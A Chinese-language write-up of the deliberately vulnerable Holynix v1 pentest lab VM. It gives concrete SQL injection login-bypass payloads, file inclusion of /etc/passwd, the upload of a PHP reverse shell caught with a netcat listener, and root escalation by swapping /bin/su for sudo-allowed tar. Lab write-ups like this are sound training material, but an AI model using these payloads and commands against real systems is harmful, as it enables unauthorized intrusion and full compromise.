0x01 项目地址
0x02 靶机描述
Similar to the de-ice and pWnOS pentest cds, Holynix is an ubuntu server vmware image that was deliberately built to have security holes for the purposes of penetration testing. More of an obstacle course than a real world example. The object of the challenge is to gain root level privileges and access to personal client information.
与de-ice和pWnOS pentest cd类似,Holynix是一个Ubuntu服务器vmware镜像,它被故意构建为具有安全漏洞,用于渗透测试。与其说是真实的世界的例子,不如说是一个障碍训练场。挑战的目的是获得根级别的权限和访问个人客户信息。
0x03 环境搭建
靶机 | Holynix: v1 | NAT模式 192.168.6.152 |
攻击机 | kali | NAT模式 192.168.6.128 |
0x04 详细步骤
1.主机发现
sudo arp-scan -l
2.端口扫描
nmap -p- 192.168.6.152
发现靶机只开放了80端口,接下来浏览器访问
3.Web访问
浏览器访问192.168.6.152
,进入后发现有home
和login
两个页面,home
页面没东西,在login
页面有登录框
4.漏洞挖掘
遇到登录框,我们可以考虑:弱口令/SQL注入/CMS漏洞利用/查找敏感信息等。
一番尝试下来,发现有SQL注入
Name:admin'
Password:admin'
通过报错信息可以看到,这个sql查询语句对Name
字段的单引号进行了转义(\'),而Password
没有。因此Name
随便输,Password
用万能密码即可登录
Name:a
Password:' or 1=1 #
登录成功后,根据欢迎语可以知道用户名为alamo
,在左侧边栏有多个选项,我们逐个点进去看一看,在Directory
页面可以看到是一些个人信息
并且可以观察到url
中存在参数page=
,这里我们尝试以下文件包含,尝试读取/etc/passwd
尝试读取失败,报错了,此路不通另寻他路。接着往下看,在Upload
页面发现可以上传文件
找个文件上传一下看看
提示禁止alamo
用户上传文件,可能权限不够,这条路也行不通。那继续往下看Security
页面。
在这个页面有个选择框,里边有五个选项,貌似是可以查看五个文件
这里用Burp
抓包看一下,可以看到确实是查看文件
可以试一下这里存不存在文件包含,我们尝试包含一下/etc/passwd
,发现包含成功,确实存在文件包含
之前文件上传失败,这里我们换个用户登录,要登录etenenbaum
用户,我们尝试在Password
中构造闭合,试图使得username='etenenbaum'
Name:a
Password:' or username='etenenbaum' #
# 完整的查询语句:
SELECT * FROM accounts WHERE username='a' AND password='' or username='etenenbaum' #'
可以看到登录成功
上传文件成功
5.漏洞利用
看来etenenbaum
这个用户的权限可以上传文件,那我们试图上传php的反弹shell文件,先构造shell。可以手动写,这回我们直接在kali中搜索并复制到当前目录
locate php-reverse
cp /usr/share/laudanum/php/php-reverse-shell.php .
我们编辑这个文件,修改反弹shell的ip和端口,ip设置为kali的ip,端口设置为8888
vim php-reverse-shell.php
然后上传文件,上传成功
接着在etenenbaum的家目录http://192.168.6.152/~etenenbaum/
寻找这个文件,然后尝试点击,看看能否打开
发现无法执行,报错提示权限不够
我们回到文件上传页面,发现有这样一行字, Enable the automatic extraction of gzip archives.
这儿貌似可以自动解压打包好的文件,那我们可以考虑将文件压缩后,勾选该选项并再次上传
先把这个php反弹shell文件打包为gzip
gzip php-reverse-shell.php
上传文件,再回到家目录查看,发现这个.gz压缩文件没有被解压
点击打开也还是提示没有权限
此时可以尝试继续越权寻找权限更高的账号,但这里查看文件上传的时候,发现上传成功页面url中page参数中有个transfer.php
文件
这个文件可能是处理文件上传的,我们利用刚才的文件包含漏洞访问查看一下
可以看到这里处理压缩包执行的命令是tar xzf
,因此我们用tar czf
打包文件,再进行上传
tar czf shell.tar.gz php-reverse-shell.php
然后再次勾选选项,进行文件上传
发现之前上传的php-reverse-shell.php
文件时间还是原来的时间,说明我们上传的文件并没有被解压,因为解压出来后这个文件会被覆盖,时间会变成现在的时间
又尝试了几次仍然无果,这是我在本机的浏览器访问的,换到kali里的浏览器试一下,将压缩包再次上传后,发现php-reverse-shell.php
时间改变了!
开启监听,点击文件执行,成功拿到反弹shell!
nc -lvnp 8888
6.权限提升
先用python升级shell
python -c "import pty;pty.spawn('/bin/bash')"
然后开始提权,先查看当前权限
sudo -l
可以看到,我们可以免密用sudo执行chown
chgrp
tar
mv
这几个命令。
那么我们可以用tar
命令替换为su
来提权,相当于运行sudo tar
就是运行sudo su
,因为su
被我们改名成了tar
,然后tar
又可以被我们sudo
免密运行
sudo mv /bin/tar /bin/tar.orgi
sudo mv /bin/su /bin/tar
sudo tar
提权成功!